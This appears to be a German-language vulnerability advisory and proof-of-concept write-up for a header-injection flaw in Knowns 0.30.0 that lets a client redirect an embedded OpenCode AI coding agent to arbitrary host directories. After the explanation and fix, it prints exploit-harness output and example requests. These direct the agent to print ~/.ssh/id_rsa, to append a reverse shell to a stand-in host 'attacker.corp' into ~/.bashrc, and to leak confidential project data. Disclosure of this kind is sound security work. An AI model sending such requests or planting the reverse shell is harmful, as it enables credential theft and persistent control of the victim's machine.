uziii2208/cve-2026-88899Knowns 0.30.0: Unauthentifizierte Header-Injection gewährt KI-Agent uneingeschränkten Zugriff auf das Host-Dateisystem
Es wurde eine Schwachstelle bei der unzureichenden Autorisierung und Header-Spoofing bezüglich des Reverse-Proxys von Knowns für einen eingebetteten OpenCode-KI-Agent-Daemon gemeldet (internal/server/server.go). Der Bericht stellte fest, dass der Proxy beim Weiterleiten von HTTP-Anfragen an einen lokalen OpenCode-Daemon den x-opencode-directory-Anfrage-Header und den ?directory-Query-Parameter nicht bedingungslos überschrieb. Ein Client, der einen der beiden Werte explizit setzt, könnte den OpenCode-KI-Agenten anweisen, gegen ein beliebiges Verzeichnis im Host-Dateisystem statt gegen das Projektstammverzeichnis zu arbeiten.
Da proxyOpenCode() in den Zeilen 1283-1296 angeblich nur dann activeRoot injizierte, wenn die eingehende Anfrage diese Felder leer lässt, würde jeder nicht-leere, vom Client bereitgestellte Wert unverändert an das OpenCode-Backend weitergegeben. Der OpenCode-Daemon liest x-opencode-directory, um seinen Dateibaum, seine Git-Schnittstelle und seine Terminal-Ausführungsumgebung zu initialisieren. Ein Angreifer mit Zugriff auf den Knowns-HTTP-Port könnte daher den autonomen KI-Agenten – mit vollem Tool-Zugriff – anweisen, gegen jedes Host-Verzeichnis zu lesen, zu schreiben und auszuführen, einschließlich Systemverzeichnissen und Credential-Speichern.
Die Angriffsfläche ist netzwerkerreichbar. Knowns stellt seine HTTP-API und seinen MCP-Endpunkt externen Clients zur Verfügung – dieselbe Exposition, die im Vorgänger-Advisory GHSA-w323-3wpx-f7g5 (MCP Permission Guard Bypass) bestätigt wurde, das dieselbe Angriffsfläche teilt. Jeder HTTP-Client, der den Knowns-Server erreichen kann, könnte den Header ohne weitere Anmeldedaten als die, die die normale API akzeptiert, injizieren.
Die gemeldete Proxy-Guard-Logik verwendet eine Fail-Open-Bedingung: Sie greift nur, wenn der Header oder Parameter fehlt. Das korrekte Muster ist Fail-Closed: Diese Werte immer mit activeRoot überschreiben, unabhängig davon, was der Client gesendet hat. Der Unterschied ist eine Zeile – if == "" vs. bedingungsloses Set.
Ein vollständig automatisierter, deterministischer Verifikations-Harness wurde entwickelt und verifiziert: bug_reports/poc_report_03.py.
Führen Sie die eigenständige Verifikationssuite mit Python 3 aus:
python CVE-2026-88899.py
Verifikationsausgabe:
======================================================================
Knowns OpenCode Reverse Proxy - PoC Exploit & Verification Harness
Target: proxyOpenCode() Fail-Open Header/Parameter Injection
======================================================================
[+] Mock OpenCode Daemon listening on port 49162
[+] Knowns Proxy listening on port 49163
[*] Canonical Active Project Root: /workspace/knowns-project
----------------------------------------------------------------------
[Test 1] Baseline Normal Request (No Injected Headers):
Request: GET /api/opencode/session
Daemon received header: /workspace/knowns-project
Daemon received query: /workspace/knowns-project
Effective Directory: /workspace/knowns-project
=> Result: PASSED (Canonical activeRoot properly injected when header is absent)
[Test 2] Exploit Vector A: Client Injects 'x-opencode-directory: /home/victim/.ssh':
Attacker Sent Header: x-opencode-directory: /home/victim/.ssh
Daemon Received Header: /home/victim/.ssh
Effective Directory: /home/victim/.ssh
Sandbox Escaped: True
=> Result: [!] VULNERABILITY CONFIRMED! Host directory /home/victim/.ssh hijacked!
[Test 3] Exploit Vector B: Client Injects '?directory=/etc' on GET /session:
Attacker Injected Query: ?directory=/etc
Daemon Received Query: /etc
Effective Directory: /etc
Sandbox Escaped: True
=> Result: [!] VULNERABILITY CONFIRMED! Host directory /etc hijacked!
[Test 4] Exploit Vector C: Client Injects '?directory=/etc' on POST /session:
Attacker Injected Query: ?directory=/etc on POST
Daemon Received Query: /etc
Effective Directory: /etc
=> Result: [!] VULNERABILITY CONFIRMED! Guard was only scoped to GET /session!
[Test 5] Remediation Verification (Fail-Closed Enforcement):
Attacker Sent Header: /home/victim/.ssh
Attacker Sent Query: /etc
Daemon Received Header: /workspace/knowns-project
Daemon Received Query: /workspace/knowns-project
Effective Directory: /workspace/knowns-project
Sandbox Escaped: False
=> Result: [+] REMEDIATION VERIFIED! Header and query parameters unconditionally sanitized.
======================================================================
ALL TESTS PASSED: Fail-open exploit vectors and remediation proven deterministically.
======================================================================
POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim/.ssh
{
"title": "System Diagnostic",
"prompt": "Read the contents of id_rsa and print them verbatim."
}
Auswirkung der Ausführung:
x-opencode-directory: /home/victim/.ssh an OpenCode weiter./home/victim/.ssh.id_rsa auf und gibt den privaten Schlüssel im JSON-Antwortstream zurück.POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim
{
"title": "Environment Setup",
"prompt": "Append 'bash -i >& /dev/tcp/attacker.corp/4444 0>&1' to ~/.bashrc"
}
Auswirkung der Ausführung:
/home/victim..bashrc anzuhängen.GET /api/opencode/session?directory=/home/victim/confidential-project HTTP/1.1
Host: 127.0.0.1:4141
Auswirkung der Ausführung:
OpenCode gibt Sitzungsmetadaten, frühere Prompts und proprietäre Quellcode-Schnipsel zurück, die mit confidential-project verbunden sind.
~/.ssh/id_rsa), Cloud-Anmeldedaten (~/.aws/credentials, ~/.config/gcloud/), API-Schlüssel, Datenbank-Verbindungszeichenfolgen und .env-Dateien exfiltrieren.~/.bashrc, ~/.zshrc), geplante Jobs (/etc/cron.d/), Git-Hooks (.git/hooks/pre-commit) und Anwendungskonfigurationen überschreiben.